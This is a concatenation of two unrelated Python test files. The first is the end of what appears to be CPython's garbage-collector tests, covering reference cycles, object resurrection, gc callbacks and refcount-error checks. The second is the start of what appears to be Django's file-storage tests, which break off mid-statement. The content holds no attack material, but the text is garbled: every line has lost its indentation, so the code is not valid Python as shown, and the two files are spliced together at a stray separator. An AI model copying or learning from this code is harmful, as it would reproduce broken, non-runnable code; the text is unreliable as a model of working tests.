if self.x > 1:
del self.attr
raise AttributeError
a = Boom2()
b = Boom2()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
# Much like test_boom(), except that __getattr__ doesn't break the
# cycle until the second time gc checks for __del__. As of 2.3b1,
# there isn't a second time, so this simply cleans up the trash cycle.
# We expect a, b, a.__dict__ and b.__dict__ (4 objects) to get
# reclaimed this way.
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom_new(self):
# boom__new and boom2_new are exactly like boom and boom2, except use
# new-style classes.
class Boom_New(object):
def __getattr__(self, someattribute):
del self.attr
raise AttributeError
a = Boom_New()
b = Boom_New()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom2_new(self):
class Boom2_New(object):
def __init__(self):
self.x = 0
def __getattr__(self, someattribute):
self.x += 1
if self.x > 1:
del self.attr
raise AttributeError
a = Boom2_New()
b = Boom2_New()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_get_referents(self):
alist = [1, 3, 5]
got = gc.get_referents(alist)
got.sort()
self.assertEqual(got, alist)
atuple = tuple(alist)
got = gc.get_referents(atuple)
got.sort()
self.assertEqual(got, alist)
adict = {1: 3, 5: 7}
expected = [1, 3, 5, 7]
got = gc.get_referents(adict)
got.sort()
self.assertEqual(got, expected)
got = gc.get_referents([1, 2], {3: 4}, (0, 0, 0))
got.sort()
self.assertEqual(got, [0, 0] + list(range(5)))
self.assertEqual(gc.get_referents(1, 'a', 4j), [])
def test_is_tracked(self):
# Atomic built-in types are not tracked, user-defined objects and
# mutable containers are.
# NOTE: types with special optimizations (e.g. tuple) have tests
# in their own test files instead.
self.assertFalse(gc.is_tracked(None))
self.assertFalse(gc.is_tracked(1))
self.assertFalse(gc.is_tracked(1.0))
self.assertFalse(gc.is_tracked(1.0 + 5.0j))
self.assertFalse(gc.is_tracked(True))
self.assertFalse(gc.is_tracked(False))
self.assertFalse(gc.is_tracked(b"a"))
self.assertFalse(gc.is_tracked("a"))
self.assertFalse(gc.is_tracked(bytearray(b"a")))
self.assertFalse(gc.is_tracked(type))
self.assertFalse(gc.is_tracked(int))
self.assertFalse(gc.is_tracked(object))
self.assertFalse(gc.is_tracked(object()))
class UserClass:
pass
class UserInt(int):
pass
# Base class is object; no extra fields.
class UserClassSlots:
__slots__ = ()
# Base class is fixed size larger than object; no extra fields.
class UserFloatSlots(float):
__slots__ = ()
# Base class is variable size; no extra fields.
class UserIntSlots(int):
__slots__ = ()
self.assertTrue(gc.is_tracked(gc))
self.assertTrue(gc.is_tracked(UserClass))
self.assertTrue(gc.is_tracked(UserClass()))
self.assertTrue(gc.is_tracked(UserInt()))
self.assertTrue(gc.is_tracked([]))
self.assertTrue(gc.is_tracked(set()))
self.assertTrue(gc.is_tracked(UserClassSlots()))
self.assertTrue(gc.is_tracked(UserFloatSlots()))
self.assertTrue(gc.is_tracked(UserIntSlots()))
def test_is_finalized(self):
# Objects not tracked by the always gc return false
self.assertFalse(gc.is_finalized(3))
storage = []
class Lazarus:
def __del__(self):
storage.append(self)
lazarus = Lazarus()
self.assertFalse(gc.is_finalized(lazarus))
del lazarus
gc.collect()
lazarus = storage.pop()
self.assertTrue(gc.is_finalized(lazarus))
def test_bug1055820b(self):
# Corresponds to temp2b.py in the bug report.
ouch = []
def callback(ignored):
ouch[:] = [wr() for wr in WRs]
Cs = [C1055820(i) for i in range(2)]
WRs = [weakref.ref(c, callback) for c in Cs]
c = None
gc.collect()
self.assertEqual(len(ouch), 0)
# Make the two instances trash, and collect again. The bug was that
# the callback materialized a strong reference to an instance, but gc
# cleared the instance's dict anyway.
Cs = None
gc.collect()
self.assertEqual(len(ouch), 2) # else the callbacks didn't run
for x in ouch:
# If the callback resurrected one of these guys, the instance
# would be damaged, with an empty __dict__.
self.assertEqual(x, None)
def test_bug21435(self):
# This is a poor test - its only virtue is that it happened to
# segfault on Tim's Windows box before the patch for 21435 was
# applied. That's a nasty bug relying on specific pieces of cyclic
# trash appearing in exactly the right order in finalize_garbage()'s
# input list.
# But there's no reliable way to force that order from Python code,
# so over time chances are good this test won't really be testing much
# of anything anymore. Still, if it blows up, there's _some_
# problem ;-)
gc.collect()
class A:
pass
class B:
def __init__(self, x):
self.x = x
def __del__(self):
self.attr = None
def do_work():
a = A()
b = B(A())
a.attr = b
b.attr = a
do_work()
gc.collect() # this blows up (bad C pointer) when it fails
@cpython_only
def test_garbage_at_shutdown(self):
import subprocess
code = """if 1:
import gc
import _testcapi
@_testcapi.with_tp_del
class X:
def __init__(self, name):
self.name = name
def __repr__(self):
return "<X %%r>" %% self.name
def __tp_del__(self):
pass
x = X('first')
x.x = x
x.y = X('second')
del x
gc.set_debug(%s)
"""
def run_command(code):
p = subprocess.Popen([sys.executable, "-Wd", "-c", code],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
p.stdout.close()
p.stderr.close()
self.assertEqual(p.returncode, 0)
self.assertEqual(stdout, b"")
return stderr
stderr = run_command(code % "0")
self.assertIn(b"ResourceWarning: gc: 2 uncollectable objects at "
b"shutdown; use", stderr)
self.assertNotIn(b"<X 'first'>", stderr)
# With DEBUG_UNCOLLECTABLE, the garbage list gets printed
stderr = run_command(code % "gc.DEBUG_UNCOLLECTABLE")
self.assertIn(b"ResourceWarning: gc: 2 uncollectable objects at "
b"shutdown", stderr)
self.assertTrue(
(b"[<X 'first'>, <X 'second'>]" in stderr) or
(b"[<X 'second'>, <X 'first'>]" in stderr), stderr)
# With DEBUG_SAVEALL, no additional message should get printed
# (because gc.garbage also contains normally reclaimable cyclic
# references, and its elements get printed at runtime anyway).
stderr = run_command(code % "gc.DEBUG_SAVEALL")
self.assertNotIn(b"uncollectable objects at shutdown", stderr)
def test_gc_main_module_at_shutdown(self):
# Create a reference cycle through the __main__ module and check
# it gets collected at interpreter shutdown.
code = """if 1:
class C:
def __del__(self):
print('__del__ called')
l = [C()]
l.append(l)
"""
rc, out, err = assert_python_ok('-c', code)
self.assertEqual(out.strip(), b'__del__ called')
def test_gc_ordinary_module_at_shutdown(self):
# Same as above, but with a non-__main__ module.
with temp_dir() as script_dir:
module = """if 1:
class C:
def __del__(self):
print('__del__ called')
l = [C()]
l.append(l)
"""
code = """if 1:
import sys
sys.path.insert(0, %r)
import gctest
""" % (script_dir,)
make_script(script_dir, 'gctest', module)
rc, out, err = assert_python_ok('-c', code)
self.assertEqual(out.strip(), b'__del__ called')
def test_global_del_SystemExit(self):
code = """if 1:
class ClassWithDel:
def __del__(self):
print('__del__ called')
a = ClassWithDel()
a.link = a
raise SystemExit(0)"""
self.addCleanup(unlink, TESTFN)
with open(TESTFN, 'w') as script:
script.write(code)
rc, out, err = assert_python_ok(TESTFN)
self.assertEqual(out.strip(), b'__del__ called')
def test_get_stats(self):
stats = gc.get_stats()
self.assertEqual(len(stats), 3)
for st in stats:
self.assertIsInstance(st, dict)
self.assertEqual(set(st),
{"collected", "collections", "uncollectable"})
self.assertGreaterEqual(st["collected"], 0)
self.assertGreaterEqual(st["collections"], 0)
self.assertGreaterEqual(st["uncollectable"], 0)
# Check that collection counts are incremented correctly
if gc.isenabled():
self.addCleanup(gc.enable)
gc.disable()
old = gc.get_stats()
gc.collect(0)
new = gc.get_stats()
self.assertEqual(new[0]["collections"], old[0]["collections"] + 1)
self.assertEqual(new[1]["collections"], old[1]["collections"])
self.assertEqual(new[2]["collections"], old[2]["collections"])
gc.collect(2)
new = gc.get_stats()
self.assertEqual(new[0]["collections"], old[0]["collections"] + 1)
self.assertEqual(new[1]["collections"], old[1]["collections"])
self.assertEqual(new[2]["collections"], old[2]["collections"] + 1)
def test_freeze(self):
gc.freeze()
self.assertGreater(gc.get_freeze_count(), 0)
gc.unfreeze()
self.assertEqual(gc.get_freeze_count(), 0)
def test_get_objects(self):
gc.collect()
l = []
l.append(l)
self.assertTrue(
any(l is element for element in gc.get_objects(generation=0))
)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=1))
)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=2))
)
gc.collect(generation=0)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=0))
)
self.assertTrue(
any(l is element for element in gc.get_objects(generation=1))
)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=2))
)
gc.collect(generation=1)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=0))
)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=1))
)
self.assertTrue(
any(l is element for element in gc.get_objects(generation=2))
)
gc.collect(generation=2)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=0))
)
self.assertFalse(
any(l is element for element in gc.get_objects(generation=1))
)
self.assertTrue(
any(l is element for element in gc.get_objects(generation=2))
)
del l
gc.collect()
def test_get_objects_arguments(self):
gc.collect()
self.assertEqual(len(gc.get_objects()),
len(gc.get_objects(generation=None)))
self.assertRaises(ValueError, gc.get_objects, 1000)
self.assertRaises(ValueError, gc.get_objects, -1000)
self.assertRaises(TypeError, gc.get_objects, "1")
self.assertRaises(TypeError, gc.get_objects, 1.234)
def test_resurrection_only_happens_once_per_object(self):
class A: # simple self-loop
def __init__(self):
self.me = self
class Lazarus(A):
resurrected = 0
resurrected_instances = []
def __del__(self):
Lazarus.resurrected += 1
Lazarus.resurrected_instances.append(self)
gc.collect()
gc.disable()
# We start with 0 resurrections
laz = Lazarus()
self.assertEqual(Lazarus.resurrected, 0)
# Deleting the instance and triggering a collection
# resurrects the object
del laz
gc.collect()
self.assertEqual(Lazarus.resurrected, 1)
self.assertEqual(len(Lazarus.resurrected_instances), 1)
# Clearing the references and forcing a collection
# should not resurrect the object again.
Lazarus.resurrected_instances.clear()
self.assertEqual(Lazarus.resurrected, 1)
gc.collect()
self.assertEqual(Lazarus.resurrected, 1)
gc.enable()
def test_resurrection_is_transitive(self):
class Cargo:
def __init__(self):
self.me = self
class Lazarus:
resurrected_instances = []
def __del__(self):
Lazarus.resurrected_instances.append(self)
gc.collect()
gc.disable()
laz = Lazarus()
cargo = Cargo()
cargo_id = id(cargo)
# Create a cycle between cargo and laz
laz.cargo = cargo
cargo.laz = laz
# Drop the references, force a collection and check that
# everything was resurrected.
del laz, cargo
gc.collect()
self.assertEqual(len(Lazarus.resurrected_instances), 1)
instance = Lazarus.resurrected_instances.pop()
self.assertTrue(hasattr(instance, "cargo"))
self.assertEqual(id(instance.cargo), cargo_id)
gc.collect()
gc.enable()
def test_resurrection_does_not_block_cleanup_of_other_objects(self):
# When a finalizer resurrects objects, stats were reporting them as
# having been collected. This affected both collect()'s return
# value and the dicts returned by get_stats().
N = 100
class A: # simple self-loop
def __init__(self):
self.me = self
class Z(A): # resurrecting __del__
def __del__(self):
zs.append(self)
zs = []
def getstats():
d = gc.get_stats()[-1]
return d['collected'], d['uncollectable']
gc.collect()
gc.disable()
# No problems if just collecting A() instances.
oldc, oldnc = getstats()
for i in range(N):
A()
t = gc.collect()
c, nc = getstats()
self.assertEqual(t, 2*N) # instance object & its dict
self.assertEqual(c - oldc, 2*N)
self.assertEqual(nc - oldnc, 0)
# But Z() is not actually collected.
oldc, oldnc = c, nc
Z()
# Nothing is collected - Z() is merely resurrected.
t = gc.collect()
c, nc = getstats()
self.assertEqual(t, 0)
self.assertEqual(c - oldc, 0)
self.assertEqual(nc - oldnc, 0)
# Z() should not prevent anything else from being collected.
oldc, oldnc = c, nc
for i in range(N):
A()
Z()
t = gc.collect()
c, nc = getstats()
self.assertEqual(t, 2*N)
self.assertEqual(c - oldc, 2*N)
self.assertEqual(nc - oldnc, 0)
# The A() trash should have been reclaimed already but the
# 2 copies of Z are still in zs (and the associated dicts).
oldc, oldnc = c, nc
zs.clear()
t = gc.collect()
c, nc = getstats()
self.assertEqual(t, 4)
self.assertEqual(c - oldc, 4)
self.assertEqual(nc - oldnc, 0)
gc.enable()
@unittest.skipIf(ContainerNoGC is None,
'requires ContainerNoGC extension type')
def test_trash_weakref_clear(self):
# Test that trash weakrefs are properly cleared (bpo-38006).
#
# Structure we are creating:
#
# Z <- Y <- A--+--> WZ -> C
# ^ |
# +--+
# where:
# WZ is a weakref to Z with callback C
# Y doesn't implement tp_traverse
# A contains a reference to itself, Y and WZ
#
# A, Y, Z, WZ are all trash. The GC doesn't know that Z is trash
# because Y does not implement tp_traverse. To show the bug, WZ needs
# to live long enough so that Z is deallocated before it. Then, if
# gcmodule is buggy, when Z is being deallocated, C will run.
#
# To ensure WZ lives long enough, we put it in a second reference
# cycle. That trick only works due to the ordering of the GC prev/next
# linked lists. So, this test is a bit fragile.
#
# The bug reported in bpo-38006 is caused because the GC did not
# clear WZ before starting the process of calling tp_clear on the
# trash. Normally, handle_weakrefs() would find the weakref via Z and
# clear it. However, since the GC cannot find Z, WR is not cleared and
# it can execute during delete_garbage(). That can lead to disaster
# since the callback might tinker with objects that have already had
# tp_clear called on them (leaving them in possibly invalid states).
callback = unittest.mock.Mock()
class A:
__slots__ = ['a', 'y', 'wz']
class Z:
pass
# setup required object graph, as described above
a = A()
a.a = a
a.y = ContainerNoGC(Z())
a.wz = weakref.ref(a.y.value, callback)
# create second cycle to keep WZ alive longer
wr_cycle = [a.wz]
wr_cycle.append(wr_cycle)
# ensure trash unrelated to this test is gone
gc.collect()
gc.disable()
# release references and create trash
del a, wr_cycle
gc.collect()
# if called, it means there is a bug in the GC. The weakref should be
# cleared before Z dies.
callback.assert_not_called()
gc.enable()
class GCCallbackTests(unittest.TestCase):
def setUp(self):
# Save gc state and disable it.
self.enabled = gc.isenabled()
gc.disable()
self.debug = gc.get_debug()
gc.set_debug(0)
gc.callbacks.append(self.cb1)
gc.callbacks.append(self.cb2)
self.othergarbage = []
def tearDown(self):
# Restore gc state
del self.visit
gc.callbacks.remove(self.cb1)
gc.callbacks.remove(self.cb2)
gc.set_debug(self.debug)
if self.enabled:
gc.enable()
# destroy any uncollectables
gc.collect()
for obj in gc.garbage:
if isinstance(obj, Uncollectable):
obj.partner = None
del gc.garbage[:]
del self.othergarbage
gc.collect()
def preclean(self):
# Remove all fluff from the system. Invoke this function
# manually rather than through self.setUp() for maximum
# safety.
self.visit = []
gc.collect()
garbage, gc.garbage[:] = gc.garbage[:], []
self.othergarbage.append(garbage)
self.visit = []
def cb1(self, phase, info):
self.visit.append((1, phase, dict(info)))
def cb2(self, phase, info):
self.visit.append((2, phase, dict(info)))
if phase == "stop" and hasattr(self, "cleanup"):
# Clean Uncollectable from garbage
uc = [e for e in gc.garbage if isinstance(e, Uncollectable)]
gc.garbage[:] = [e for e in gc.garbage
if not isinstance(e, Uncollectable)]
for e in uc:
e.partner = None
def test_collect(self):
self.preclean()
gc.collect()
# Algorithmically verify the contents of self.visit
# because it is long and tortuous.
# Count the number of visits to each callback
n = [v[0] for v in self.visit]
n1 = [i for i in n if i == 1]
n2 = [i for i in n if i == 2]
self.assertEqual(n1, [1]*2)
self.assertEqual(n2, [2]*2)
# Count that we got the right number of start and stop callbacks.
n = [v[1] for v in self.visit]
n1 = [i for i in n if i == "start"]
n2 = [i for i in n if i == "stop"]
self.assertEqual(n1, ["start"]*2)
self.assertEqual(n2, ["stop"]*2)
# Check that we got the right info dict for all callbacks
for v in self.visit:
info = v[2]
self.assertTrue("generation" in info)
self.assertTrue("collected" in info)
self.assertTrue("uncollectable" in info)
def test_collect_generation(self):
self.preclean()
gc.collect(2)
for v in self.visit:
info = v[2]
self.assertEqual(info["generation"], 2)
@cpython_only
def test_collect_garbage(self):
self.preclean()
# Each of these cause four objects to be garbage: Two
# Uncollectables and their instance dicts.
Uncollectable()
Uncollectable()
C1055820(666)
gc.collect()
for v in self.visit:
if v[1] != "stop":
continue
info = v[2]
self.assertEqual(info["collected"], 2)
self.assertEqual(info["uncollectable"], 8)
# We should now have the Uncollectables in gc.garbage
self.assertEqual(len(gc.garbage), 4)
for e in gc.garbage:
self.assertIsInstance(e, Uncollectable)
# Now, let our callback handle the Uncollectable instances
self.cleanup=True
self.visit = []
gc.garbage[:] = []
gc.collect()
for v in self.visit:
if v[1] != "stop":
continue
info = v[2]
self.assertEqual(info["collected"], 0)
self.assertEqual(info["uncollectable"], 4)
# Uncollectables should be gone
self.assertEqual(len(gc.garbage), 0)
@unittest.skipIf(BUILD_WITH_NDEBUG,
'built with -NDEBUG')
def test_refcount_errors(self):
self.preclean()
# Verify the "handling" of objects with broken refcounts
# Skip the test if ctypes is not available
import_module("ctypes")
import subprocess
code = textwrap.dedent('''
from test.support import gc_collect, SuppressCrashReport
a = [1, 2, 3]
b = [a]
# Avoid coredump when Py_FatalError() calls abort()
SuppressCrashReport().__enter__()
# Simulate the refcount of "a" being too low (compared to the
# references held on it by live data), but keeping it above zero
# (to avoid deallocating it):
import ctypes
ctypes.pythonapi.Py_DecRef(ctypes.py_object(a))
# The garbage collector should now have a fatal error
# when it reaches the broken object
gc_collect()
''')
p = subprocess.Popen([sys.executable, "-c", code],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
p.stdout.close()
p.stderr.close()
# Verify that stderr has a useful error message:
self.assertRegex(stderr,
br'gcmodule\.c:[0-9]+: gc_decref: Assertion "gc_get_refs\(g\) > 0" failed.')
self.assertRegex(stderr,
br'refcount is too small')
# "address : 0x7fb5062efc18"
# "address : 7FB5062EFC18"
address_regex = br'[0-9a-fA-Fx]+'
self.assertRegex(stderr,
br'object address : ' + address_regex)
self.assertRegex(stderr,
br'object refcount : 1')
self.assertRegex(stderr,
br'object type : ' + address_regex)
self.assertRegex(stderr,
br'object type name: list')
self.assertRegex(stderr,
br'object repr : \[1, 2, 3\]')
class GCTogglingTests(unittest.TestCase):
def setUp(self):
gc.enable()
def tearDown(self):
gc.disable()
def test_bug1055820c(self):
# Corresponds to temp2c.py in the bug report. This is pretty
# elaborate.
c0 = C1055820(0)
# Move c0 into generation 2.
gc.collect()
c1 = C1055820(1)
c1.keep_c0_alive = c0
del c0.loop # now only c1 keeps c0 alive
c2 = C1055820(2)
c2wr = weakref.ref(c2) # no callback!
ouch = []
def callback(ignored):
ouch[:] = [c2wr()]
# The callback gets associated with a wr on an object in generation 2.
c0wr = weakref.ref(c0, callback)
c0 = c1 = c2 = None
# What we've set up: c0, c1, and c2 are all trash now. c0 is in
# generation 2. The only thing keeping it alive is that c1 points to
# it. c1 and c2 are in generation 0, and are in self-loops. There's a
# global weakref to c2 (c2wr), but that weakref has no callback.
# There's also a global weakref to c0 (c0wr), and that does have a
# callback, and that callback references c2 via c2wr().
#
# c0 has a wr with callback, which references c2wr
# ^
# |
# | Generation 2 above dots
#. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
# | Generation 0 below dots
# |
# |
# ^->c1 ^->c2 has a wr but no callback
# | | | |
# <--v <--v
#
# So this is the nightmare: when generation 0 gets collected, we see
# that c2 has a callback-free weakref, and c1 doesn't even have a
# weakref. Collecting generation 0 doesn't see c0 at all, and c0 is
# the only object that has a weakref with a callback. gc clears c1
# and c2. Clearing c1 has the side effect of dropping the refcount on
# c0 to 0, so c0 goes away (despite that it's in an older generation)
# and c0's wr callback triggers. That in turn materializes a reference
# to c2 via c2wr(), but c2 gets cleared anyway by gc.
# We want to let gc happen "naturally", to preserve the distinction
# between generations.
junk = []
i = 0
detector = GC_Detector()
while not detector.gc_happened:
i += 1
if i > 10000:
self.fail("gc didn't happen after 10000 iterations")
self.assertEqual(len(ouch), 0)
junk.append([]) # this will eventually trigger gc
self.assertEqual(len(ouch), 1) # else the callback wasn't invoked
for x in ouch:
# If the callback resurrected c2, the instance would be damaged,
# with an empty __dict__.
self.assertEqual(x, None)
def test_bug1055820d(self):
# Corresponds to temp2d.py in the bug report. This is very much like
# test_bug1055820c, but uses a __del__ method instead of a weakref
# callback to sneak in a resurrection of cyclic trash.
ouch = []
class D(C1055820):
def __del__(self):
ouch[:] = [c2wr()]
d0 = D(0)
# Move all the above into generation 2.
gc.collect()
c1 = C1055820(1)
c1.keep_d0_alive = d0
del d0.loop # now only c1 keeps d0 alive
c2 = C1055820(2)
c2wr = weakref.ref(c2) # no callback!
d0 = c1 = c2 = None
# What we've set up: d0, c1, and c2 are all trash now. d0 is in
# generation 2. The only thing keeping it alive is that c1 points to
# it. c1 and c2 are in generation 0, and are in self-loops. There's
# a global weakref to c2 (c2wr), but that weakref has no callback.
# There are no other weakrefs.
#
# d0 has a __del__ method that references c2wr
# ^
# |
# | Generation 2 above dots
#. . . . . . . .|. . . . . . . . . . . . . . . . . . . . . . . .
# | Generation 0 below dots
# |
# |
# ^->c1 ^->c2 has a wr but no callback
# | | | |
# <--v <--v
#
# So this is the nightmare: when generation 0 gets collected, we see
# that c2 has a callback-free weakref, and c1 doesn't even have a
# weakref. Collecting generation 0 doesn't see d0 at all. gc clears
# c1 and c2. Clearing c1 has the side effect of dropping the refcount
# on d0 to 0, so d0 goes away (despite that it's in an older
# generation) and d0's __del__ triggers. That in turn materializes
# a reference to c2 via c2wr(), but c2 gets cleared anyway by gc.
# We want to let gc happen "naturally", to preserve the distinction
# between generations.
detector = GC_Detector()
junk = []
i = 0
while not detector.gc_happened:
i += 1
if i > 10000:
self.fail("gc didn't happen after 10000 iterations")
self.assertEqual(len(ouch), 0)
junk.append([]) # this will eventually trigger gc
self.assertEqual(len(ouch), 1) # else __del__ wasn't invoked
for x in ouch:
# If __del__ resurrected c2, the instance would be damaged, with an
# empty __dict__.
self.assertEqual(x, None)
def test_main():
enabled = gc.isenabled()
gc.disable()
assert not gc.isenabled()
debug = gc.get_debug()
gc.set_debug(debug & ~gc.DEBUG_LEAK) # this test is supposed to leak
try:
gc.collect() # Delete 2nd generation garbage
run_unittest(GCTests, GCTogglingTests, GCCallbackTests)
finally:
gc.set_debug(debug)
# test gc.enable() even if GC is disabled by default
if verbose:
print("restoring automatic collection")
# make sure to always test gc.enable()
gc.enable()
assert gc.isenabled()
if not enabled:
gc.disable()
if __name__ == "__main__":
test_main()
|
tests.py | import os
import shutil
import sys
import tempfile
import threading
import time
import unittest
from datetime import datetime, timedelta
from datetime import timezone as datetime_timezone
from io import StringIO
from pathlib import Path
from urllib.request import urlopen
from django.core.cache import cache
from django.core.exceptions import SuspiciousFileOperation
from django.core.files.base import ContentFile, File
from django.core.files.storage import FileSystemStorage
from django.core.files.storage import Storage as BaseStorage
from django.core.files.storage import default_storage, get_storage_class
from django.core.files.uploadedfile import (
InMemoryUploadedFile,
SimpleUploadedFile,
TemporaryUploadedFile,
)
from django.db.models import FileField
from django.db.models.fields.files import FileDescriptor
from django.test import LiveServerTestCase, SimpleTestCase, TestCase, override_settings
from django.test.utils import requires_tz_support
from django.urls import NoReverseMatch, reverse_lazy
from django.utils import timezone
from django.utils._os import symlinks_supported
from .models import Storage, callable_storage, temp_storage, temp_storage_location
FILE_SUFFIX_REGEX = "[A-Za-z0-9]{7}"
class GetStorageClassTests(SimpleTestCase):
def test_get_filesystem_storage(self):
"""
get_storage_class returns the class for a storage backend name/path.
"""
self.assertEqual(
get_storage_class("django.core.files.storage.FileSystemStorage"),
FileSystemStorage,
)
def test_get_invalid_storage_module(self):
"""
get_storage_class raises an error if the requested import don't exist.
"""
with self.assertRaisesMessage(ImportError, "No module named 'storage'"):
get_storage_class("storage.NonexistentStorage")
def test_get_nonexistent_storage_class(self):
"""
get_storage_class raises an error if the requested class don't exist.
"""
with self.assertRaises(ImportError):
get_storage_class("django.core.files.storage.NonexistentStorage")
def test_get_nonexistent_storage_module(self):
"""
get_storage_class raises an error if the requested module don't exist.
"""
with self.assertRaisesMessage(
ImportError, "No module named 'django.core.files.nonexistent_storage'"
):
get_storage_class(
"django.core.files.nonexistent_storage.NonexistentStorage"
)
class FileSystemStorageTests(unittest.TestCase):
def test_deconstruction(self):
path, args, kwargs = temp_storage.deconstruct()
self.assertEqual(path, "django.core.files.storage.FileSystemStorage")
self.assertEqual(args, ())
self.assertEqual(kwargs, {"location": temp_storage_location})
kwargs_orig = {
"location": temp_storage_location,
"base_url": "http://myfiles.example.com/",
}
storage = FileSystemStorage(**kwargs_orig)
path, args, kwargs = storage.deconstruct()
self.assertEqual(kwargs, kwargs_orig)
def test_lazy_base_url_init(self):
"""
FileSystemStorage.__init__() shouldn't evaluate base_url.
"""
storage = FileSystemStorage(base_url=reverse_lazy("app:url"))
with self.assertRaises(NoReverseMatch):
storage.url(storage.base_url)
class FileStorageTests(SimpleTestCase):
storage_class = FileSystemStorage
def setUp(self):
self.temp_dir = tempfile.mkdtemp()
self.storage = self.storage_class(
location=self.temp_dir, base_url="/test_media_url/"
)
# Set up a second temporary directory which is ensured to have a mixed
# case name.
self.temp_dir2 = tempfile.mkdtemp(suffix="aBc")
def tearDown(self):
shutil.rmtree(self.temp_dir)
shutil.rmtree(self.temp_dir2)
def test_empty_location(self):
"""
Makes sure an exception is raised if the location is empty
"""
storage = self.storage_class(location="")
self.assertEqual(storage.base_location, "")
self.assertEqual(storage.location, os.getcwd())
def test_file_access_options(self):
"""
Standard file access options are available, and work as expected.
"""
self.assertFalse(self.storage.exists("storage_test"))
f = self.storage.open("storage_test", "w")
f.write("storage contents")
f.close()
self.assertTrue(self.storage.exists("storage_test"))
f = self.storage.open("storage_test", "r")
self.assertEqual(f.read(), "storage contents")
f.close()
self.storage.delete("storage_test")
self.assertFalse(self.storage.exists("storage_test"))
def _test_file_time_getter(self, getter):
# Check for correct behavior under both USE_TZ=True and USE_TZ=False.
# The tests are similar since they both set up a situation where the
# system time zone, Django's TIME_ZONE, and UTC are distinct.
self._test_file_time_getter_tz_handling_on(getter)
self._test_file_time_getter_tz_handling_off(getter)
@override_settings(USE_TZ=True, TIME_ZONE="Africa/Algiers")
def _test_file_time_getter_tz_handling_on(self, getter):
# Django's TZ (and hence the system TZ) is set to Africa/Algiers which
# is UTC+1 and has no DST change. We can set the Django TZ to something
# else so that UTC, Django's TIME_ZONE, and the system timezone are all
# different.
now_in_algiers = timezone.make_aware(datetime.now())
with timezone.override(timezone.get_fixed_timezone(-300)):
# At this point the system TZ is +1 and the Django TZ
# is -5. The following will be aware in UTC.
now = timezone.now()
self.assertFalse(self.storage.exists("test.file.tz.on"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file.tz.on", f)
self.addCleanup(self.storage.delete, f_name)
dt = getter(f_name)
# dt should be aware, in UTC
self.assertTrue(timezone.is_aware(dt))
self.assertEqual(now.tzname(), dt.tzname())
# The three timezones are indeed distinct.
naive_now = datetime.now()
algiers_offset = now_in_algiers.tzinfo.utcoffset(naive_now)
django_offset = timezone.get_current_timezone().utcoffset(naive_now)
utc_offset = datetime_timezone.utc.utcoffset(naive_now)
self.assertGreater(algiers_offset, utc_offset)
self.assertLess(django_offset, utc_offset)
# dt and now should be the same effective time.
self.assertLess(abs(dt - now), timedelta(seconds=2))
@override_settings(USE_TZ=False, TIME_ZONE="Africa/Algiers")
def _test_file_time_getter_tz_handling_off(self, getter):
# Django's TZ (and hence the system TZ) is set to Africa/Algiers which
# is UTC+1 and has no DST change. We can set the Django TZ to something
# else so that UTC, Django's TIME_ZONE, and the system timezone are all
# different.
now_in_algiers = timezone.make_aware(datetime.now())
with timezone.override(timezone.get_fixed_timezone(-300)):
# At this point the system TZ is +1 and the Django TZ
# is -5.
self.assertFalse(self.storage.exists("test.file.tz.off"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file.tz.off", f)
self.addCleanup(self.storage.delete, f_name)
dt = getter(f_name)
# dt should be naive, in system (+1) TZ
self.assertTrue(timezone.is_naive(dt))
# The three timezones are indeed distinct.
naive_now = datetime.now()
algiers_offset = now_in_algiers.tzinfo.utcoffset(naive_now)
django_offset = timezone.get_current_timezone().utcoffset(naive_now)
utc_offset = datetime_timezone.utc.utcoffset(naive_now)
self.assertGreater(algiers_offset, utc_offset)
self.assertLess(django_offset, utc_offset)
# dt and naive_now should be the same effective time.
self.assertLess(abs(dt - naive_now), timedelta(seconds=2))
# If we convert dt to an aware object using the Algiers
# timezone then it should be the same effective time to
# now_in_algiers.
_dt = timezone.make_aware(dt, now_in_algiers.tzinfo)
self.assertLess(abs(_dt - now_in_algiers), timedelta(seconds=2))
def test_file_get_accessed_time(self):
"""
File storage returns a Datetime object for the last accessed time of
a file.
"""
self.assertFalse(self.storage.exists("test.file"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file", f)
self.addCleanup(self.storage.delete, f_name)
atime = self.storage.get_accessed_time(f_name)
self.assertEqual(
atime, datetime.fromtimestamp(os.path.getatime(self.storage.path(f_name)))
)
self.assertLess(
timezone.now() - self.storage.get_accessed_time(f_name),
timedelta(seconds=2),
)
@requires_tz_support
def test_file_get_accessed_time_timezone(self):
self._test_file_time_getter(self.storage.get_accessed_time)
def test_file_get_created_time(self):
"""
File storage returns a datetime for the creation time of a file.
"""
self.assertFalse(self.storage.exists("test.file"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file", f)
self.addCleanup(self.storage.delete, f_name)
ctime = self.storage.get_created_time(f_name)
self.assertEqual(
ctime, datetime.fromtimestamp(os.path.getctime(self.storage.path(f_name)))
)
self.assertLess(
timezone.now() - self.storage.get_created_time(f_name), timedelta(seconds=2)
)
@requires_tz_support
def test_file_get_created_time_timezone(self):
self._test_file_time_getter(self.storage.get_created_time)
def test_file_get_modified_time(self):
"""
File storage returns a datetime for the last modified time of a file.
"""
self.assertFalse(self.storage.exists("test.file"))
f = ContentFile("custom contents")
f_name = self.storage.save("test.file", f)
self.addCleanup(self.storage.delete, f_name)
mtime = self.storage.get_modified_time(f_name)
self.assertEqual(
